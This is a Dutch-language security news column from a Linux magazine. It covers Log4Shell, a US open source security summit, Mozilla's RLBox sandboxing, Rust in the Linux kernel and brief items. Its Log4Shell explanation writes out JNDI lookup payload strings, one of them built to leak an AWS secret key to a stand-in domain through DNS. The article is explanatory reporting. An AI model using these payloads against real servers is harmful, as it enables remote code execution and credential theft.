Gepubliceerd in Linux Magazine 1, 2022

Een kritieke kwetsbaarheid in Log4j schrok de wereld op. Mozilla verbetert de beveiliging in zijn webbrowsers voor desktop en mobiel. En Rust zet de eerste stappen als tweede officiële taal in de Linux kernel. Deze en andere beveiligingsnieuwtjes lees je in Focus op veiligheid.

Koen Vervloesem

Log4Shell

Eind 2021 werd de wereld opgeschrikt door Log4Shell, een zero-day kwetsbaarheid in Log4j, een populair loggingframework voor Java. De kwetsbaarheid zat al sinds 2013 in de software en kreeg een CVSS-rating van 10, wat het dus een van de ernstigste kwetsbaarheden volgens het Common Vulnerability Scoring System maakt.

In zijn standaardconfiguratie voerde Log4j string substitution uit bij het loggen van een string. Zo wordt ${java:version} vervangen door iets als Java version 11.0.13. Maar Log4j ondersteunt ook het inladen van willekeurige Java objecten via JNDI (Java Naming and Directory Interface). Als je dat opzoeken via LDAP definieerde in een string zoals ${jndi:ldap://example.com/file}, laadde Log4j bij het loggen van die string het Java object van die URL en voerde het die code uit.

Een veel gebruikte manier om de kwetsbaarheid uit te buiten is met HTTP-aanvragen, omdat die zo goed als altijd worden gelogd. De aanvaller voert dan een HTTP-aanvraag uit op een webserver en plaatst in een HTTP-header (zoals User-Agent) een kwaadaardige string die verwijst naar een Java object op zijn eigen webserver. Log4j voert dan de string substitution uit en laadt het kwaadaardige Java object van de opgegeven locatie. Die Java code wordt dan op de kwetsbare webserver uitgevoerd, met verregaande gevolgen.

Een aanvaller kan op die manier ook geheime data uit de server halen. Denk maar aan een string zoals ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.example.com}. Dit levert een aanvraag op de server op met als domeinnaam de geheime AWS-sleutel als subdomein van example.com.

Het werd ook duidelijk dat Log4j echt overal in zit. Minecraft gebruikers begonnen hun displaynaam te veranderen in strings die de kwetsbaarheid op de Minecraft server en Minecraft clients uitbuitten. Apple iCloud, Cloudflare, Amazon Web Services, Google Cloud, Tesla, ze waren allemaal kwetsbaar. En ook heel wat open source software gebruikt Log4j, waaronder Apache Druid, Apache Flink, Apache Solr, Apache Spark, Apache Struts2 en Apache Tomcat, maar ook ElasticSearch, ghidra en Blender. Log4j is zelf een project van de Apache Software Foundation.

Na de ontdekking van Log4Shell regende het exploits en varianten van de kwetsbaarheid, die duidelijk maakten dat de eerste patch de problemen onvoldoende oploste. Omdat Log4j zo alomtegenwoordig is, zal de impact van de kwetsbaarheid nog jaren doorwerken.

De maintainer van Log4j werkt overigens aan het project in zijn vrije tijd en had op het moment dat de kwetsbaarheid werd gepubliceerd twee sponsors op GitHub. Tijdens de redactiesluiting was het aantal sponsors gelukkig al wel toegenomen tot meer dan 70, waaronder bedrijven als Amazon Web Services.

https://logging.apache.org/log4j/2.x/

De aanval op Log4j (bron: GovCERT.ch).

Amerikaanse overheid wil meer aandacht voor kritieke open source projecten

Naar aanleiding van de kwetsbaarheid Log4Shell is duidelijk geworden dat er nog te veel kritieke open source projecten zijn die meer aandacht voor beveiliging nodig hebben. Software zoals Log4j wordt door heel veel andere software gebruikt, en de veronderstelling is dat al deze andere projecten wel een oogje houden op de beveiliging van de software die ze gebruiken.

In de praktijk is dat niet zo en gebeurt het verbeteren van de beveiliging en het fixen van ontdekte beveiligingsfouten door vrijwilligers, vaak op ad-hocbasis. Begin januari bracht de Amerikaanse overheid partijen uit de overheid en private sector samen op de ‘White House Open Source Software Security Summit’. De bedoeling van deze bijeenkomst was om initiatieven te bespreken om de beveiliging van open source software te verbeteren.

De discussie focuste op drie onderwerpen. Ten eerste bespraken de deelnemers hoe ontwikkelaars veiliger code kunnen schrijven. Zo zouden ontwikkeltools veiligheidsfuncties kunnen integreren. En ook de infrastructuur om software te bouwen en te verspreiden zou dichtgetimmerd kunnen worden, met technieken zoals code signing en sterke digitale identiteiten. Ten tweede bespraken deelnemers hoe ze de belangrijkste open source projecten zouden kunnen prioriteren en duurzame mechanismes zouden kunnen opzetten om ze te onderhouden. En ten derde werden manieren besproken om het gebruik van software bills of materials (SBOMs) te versnellen en te verbeteren. Zo zou het eenvoudiger moeten zijn om te weten welke andere software er zich bevindt in de software die je gebruikt, om te weten of je vatbaar bent voor een kwetsbaarheid.

lees hier de Readout

Mozilla drijft beveiliging in browsers op

Mozilla heeft in Firefox 95 een nieuwe sandbox-technologie toegevoegd, RLBox. Deze isoleert potentieel kwetsbare modules van Firefox, waaronder Graphite, Hunspell, Ogg, Expat en Woff2. De code wordt met Clang naar WebAssembly gecompileerd, daarna met wasm2c naar C-code en dan weer met Clang naar native code. Het resultaat is code die in een sandbox draait zonder het prestatieverlies van een klassieke isolatie.

Door deze transformatie kan de code van deze modules niet naar onverwachte plekken in de rest van de webbrowser springen en heeft ze ook geen toegang tot het geheugen buiten een specifiek gebied. Daardoor is het veilig om deze modules in een gedeelde adresruimte met andere code te draaien. Je hoeft alleen data die uit de sandbox komt te valideren. Mozilla streeft ernaar om de RLBox-technologie bij nog meer modules toe te passen.

Verder heeft Mozilla een nieuwe versie van Firefox Focus voor Android uitgebracht. Die is voorzien van de functie ‘Total Cookie Protection’ die cross-site tracking van gebruikers via cookies moet voorkomen. Firefox Focus slaat alle cookies van een domein afzonderlijk op. Zelfs als een tracker op meerdere websites actief is, blijven die cookies van de verschillende websites van elkaar gescheiden.

Wordt Rust dit jaar de tweede officiële taal in de Linux kernel?

Het project ‘Rust for Linux’ heeft een tweede patchset gepubliceerd om Rust als tweede programmeertaal naast C in de Linux kernel te ondersteunen. Terwijl eerdere versies van de code nog van de bètaversie van de Rust compiler gebruikmaakten, is de code nu gebaseerd op de stabiele Rust compiler. Het initiatief wordt financieel ondersteund door de Internet Security Research Group (ISRG) en Google.

Rust is een volledig geheugenveilige programmeertaal, waardoor een grote klasse van beveiligingsfouten in deze taal niet meer mogelijk zijn. De eerste Rust code in de Linux kernel wordt ergens midden dit jaar verwacht. Waarschijnlijk zal het om apparaatstuurprogramma’s gaan.

En verder

Uit onderzoek blijkt dat slechts zes procent van de bruteforce-aanvallen op SSH wachtwoorden van meer dan tien tekens uitprobeerde en slechts zeven procent bevatte een speciaal taken. Alpine Linux wil in versie 3.16 sudo vervangen door doas, het alternatief dat door OpenBSD is ontwikkeld. GnuPG-maintainer Werner Koch laat weten dat zijn bedrijf nu eindelijk GnuPG kan ontwikkelen zonder om donaties of subsidies te vragen. En GitHub heeft de mogelijkheid toegevoegd om container images in GitHub Actions digitaal te ondertekenen met Cosign.